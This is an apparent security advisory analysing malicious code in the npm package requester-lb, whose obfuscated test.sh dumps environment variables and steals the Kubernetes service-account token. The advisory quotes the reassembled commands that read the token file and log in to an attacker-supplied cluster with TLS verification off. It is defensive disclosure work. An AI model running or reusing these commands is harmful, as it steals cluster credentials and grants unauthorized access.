requester-lb@1.0.13
Malicious code in requester-lb (npm)
Analysis
This package ships a shell script, package/test.sh, that hides its payload by splitting command strings into seventeen single-fragment shell variables ("a=pri; b=nte; c=nv", etc.) and reassembling them with two eval calls so that no readable command appears in the file. Reassembled, the script runs printenv to dump the full environment, then `export DEBUG_FILE=$(cat /var/run/secrets/kubernetes[.]io/serviceaccount/token 2>/dev/null)` to read the Kubernetes service-account token from its in-cluster mount point, then executes `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify`, authenticating to a cluster supplied by the operator using the stolen token while disabling TLS verification. The package's other entry point, requester.js, is a benign HTTP/DNS diagnostic CLI, and the bundled DISCLOSURE and README describe only hostname/diagnostic network traffic and never mention reading the service-account token or invoking oc login. The command-and-control server is not hardcoded; it is taken from the $SERV environment variable at run time, so the tarball contains no fixed network IOC. Artifacts: package/test.sh (fragmented eval payload), target file /var/run/secrets/kubernetes[.]io/serviceaccount/token, environment variable $SERV, and the resulting oc CLI login.
- analyzed by
- Leitwacht
- first seen
- Nov 19, 2026, 01:36 PM
- analyzed
- Nov 19, 2026, 01:37 PM
Related advisories
- requester-lb@1.0.14 same package
- hyjui-klopa@1.0.0
- easysalon-tool@1.0.11
- @swirls/cli@0.1.149
- @swirls/cli@0.1.148
- @essentialai/cogent-bridge@3.26.2
- @swirls/cli@0.1.146
- low_hummingbird_replicate_automation@2.2.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.